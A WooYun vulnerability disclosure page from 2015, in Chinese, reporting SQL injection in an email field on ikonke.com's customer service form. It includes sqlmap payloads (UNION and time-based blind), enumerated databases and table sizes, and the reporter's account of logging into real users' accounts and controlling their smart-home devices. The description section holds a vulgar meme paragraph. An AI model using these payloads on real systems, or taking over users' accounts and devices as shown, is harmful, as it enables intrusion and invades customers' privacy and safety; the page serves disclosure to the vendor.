当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165805

漏洞标题: 控客www站注入(控制全国所有用户/全部设备/全部订单)

相关厂商:ikonke.com

漏洞作者: DNS

提交时间:2015-12-29 18:09

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2015-12-31: 厂商已经确认,细节仅向厂商公开
2016-01-10: 细节向核心白帽子及相关领域专家公开
2016-01-20: 细节向普通白帽子公开
2016-01-30: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

九旬老太为何裸死街头? 数千头母牛为何半夜惨叫? 小卖部安全套为何婪招黑手? 女生宿舍内裤为何频频失窃?连环强奸 母猪案,究竟何人所为?老尼姑门夜夜 被敲,究竟是人是鬼?数百只小母狗意 外身亡的背后又意味着什么?这一切的 背后,是人心的扭曲还是道德的沦丧? 是性的爆发还是饥渴的无奈?

详细说明:

写一半电脑蓝屏了。。。
http://www.ikonke.com/CustomerService.php (POST)
username=88952634&email=safe3q@gmail.com
存在注入
获取到主站下的所有数据库
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
---
Parameter: email (POST)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: username=88952634&email=-5595' UNION ALL SELECT 7545,CONCAT(0x716b787a71,0x6359434c527742725856,0x7162707071),7545#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=88952634&email=safe3q@gmail.com' AND SLEEP(5) AND 'KRFw'='KRFw
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
available databases [16]:
[*] advertise
[*] cdcol
[*] daike
[*] downloaddb
[*] information_schema
[*] k2
[*] kcredit
[*] kserver
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] shiro-oauth2
[*] test
[*] testing
[*] webauth
[*] yiqicms
查询数据库count

back-end DBMS: MySQL 5.0.11
Database: daike
+---------+---------+
| Table | Entries |
+---------+---------+
| tb_user | 2002 |
+---------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: email (POST)
Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: username=88952634&email=-5595' UNION ALL SELECT 7545,CONCAT(0x716b787a71,0x6359434c527742725856,0x7162707071),7545#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=88952634&email=safe3q@gmail.com' AND SLEEP(5) AND 'KRFw'='KRFw
---
web application technology: Apache
back-end DBMS: MySQL 5.0.11
Database: cdcol
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| cds | 3 |
+---------------------------------------+---------+
Database: phpmyadmin
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| pma_userconfig | 2 |
| pma_recent | 1 |
+---------------------------------------+---------+
Database: daike
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tb_user | 2002 |
+---------------------------------------+---------+
Database: shiro-oauth2
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| k_info | 29 |
| oauth2_client | 2 |
| oauth2_user | 1 |
+---------------------------------------+---------+
Database: performance_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| setup_consumers | 8 |
| performance_timers | 5 |
| setup_timers | 1 |
+---------------------------------------+---------+
Database: webauth
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| user_pwd | 1 |
+---------------------------------------+---------+
Database: downloaddb
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tb_usage | 260216 |
| tb_download_statistics | 1 |
+---------------------------------------+---------+
Database: kserver
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| oauth2_token | 21 |
| oauth2_code | 19 |
| k_info | 17 |
| tb_user | 17 |
| oauth2_client | 2 |
| tb_authority | 1 |
| tb_functions | 1 |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| time_zone_transition | 117210 |
| time_zone_transition_type | 7716 |
| time_zone | 1685 |
| time_zone_name | 1685 |
| columns_priv | 29 |
| tables_priv | 4 |
| `user` | 3 |
| db | 1 |
| proc | 1 |
| proxies_priv | 1 |
+---------------------------------------+---------+
Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tb_user | 83719 | APP用户
| oauth_client_details | 2 |
| oauth_access_token | 1 |
| oauth_refresh_token | 1 |
| user_ | 1 |
+---------------------------------------+---------+
Database: advertise
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ad_mac | 169 |
| ad_type | 2 |
+---------------------------------------+---------+
Database: yiqicms
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| yiqi_regular | 43 |
| yiqi_settings | 21 |
| yiqi_article | 16 |
| yiqi_meta | 16 |
| yiqi_navigate | 3 |
| yiqi_templets | 2 |
| yiqi_category | 1 |
| yiqi_comments | 1 |
| yiqi_users | 1 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1169 |
| SESSION_VARIABLES | 328 |
| GLOBAL_VARIABLES | 317 |
| GLOBAL_STATUS | 310 |
| SESSION_STATUS | 310 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197 |
| COLLATIONS | 197 |
| STATISTICS | 153 |
| PARTITIONS | 143 |
| TABLES | 143 |
| KEY_COLUMN_USAGE | 125 |
| TABLE_CONSTRAINTS | 89 |
| USER_PRIVILEGES | 57 |
| CHARACTER_SETS | 39 |
| COLUMN_PRIVILEGES | 29 |
| PLUGINS | 20 |
| SCHEMATA | 16 |
| ENGINES | 9 |
| INNODB_CMP | 5 |
| INNODB_CMP_RESET | 5 |
| INNODB_CMPMEM | 5 |
| INNODB_CMPMEM_RESET | 5 |
| SCHEMA_PRIVILEGES | 5 |
| TABLE_PRIVILEGES | 2 |
| INNODB_TRX | 1 |
| PROCESSLIST | 1 |
| ROUTINES | 1 |
+---------------------------------------+---------+
Database: kcredit
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tb_usereventlog | 121768 |
| tb_user | 90718 | 商城用户
| tb_coupon | 23414 |
| tb_kmoneyhistory | 16346 |
| tb_order | 1025 |商城订单
| tb_aliorderlog | 931 |
| tb_activityregistration | 923 |
| tb_product | 26 |
| tb_activity | 7 |
| tb_ad | 3 |
| tb_admin | 1 |
+---------------------------------------+---------+


APP用户在数据库TEST 的TB_USER

10.png


登陆两个用户

3.jpg


登陆上去的下载配置,不然都是空的
我纠结半天

4.jpg


5.jpg


2.jpg


发现里面可以看订单,买东西

1.jpg


2.jpg


可以控制设备上的东西
设备都是联动的,配套控制

QQ图片20151229174830.jpg


智能家居很恐怖,相冲厕所吗?NO

漏洞证明:

修复方案:

版权声明:转载请注明来源 DNS@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-31 13:46

厂商回复:

谢谢反馈,正在对漏洞进行修复

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-29 18:23 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    九旬老太为何裸死街头? 数千头母牛为何半夜惨叫? 小卖部安全套为何婪招黑手? 女生宿舍内裤为何频频失窃?连环强奸 母猪案,究竟何人所为?老尼姑门夜夜 被敲,究竟是人是鬼?数百只小母狗意 外身亡的背后又意味着什么?这一切的 背后,是人心的扭曲还是道德的沦丧? 是性的爆发还是饥渴的无奈?

  2. 2015-12-29 18:56 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    控制全部用户智能设备没有精华?

  3. 2015-12-29 19:49 | 独臂刀王 ( 普通白帽子 | Rank:323 漏洞数:88 | 提交一个漏洞就可以买个柚子~~好爽~)

    表哥别闹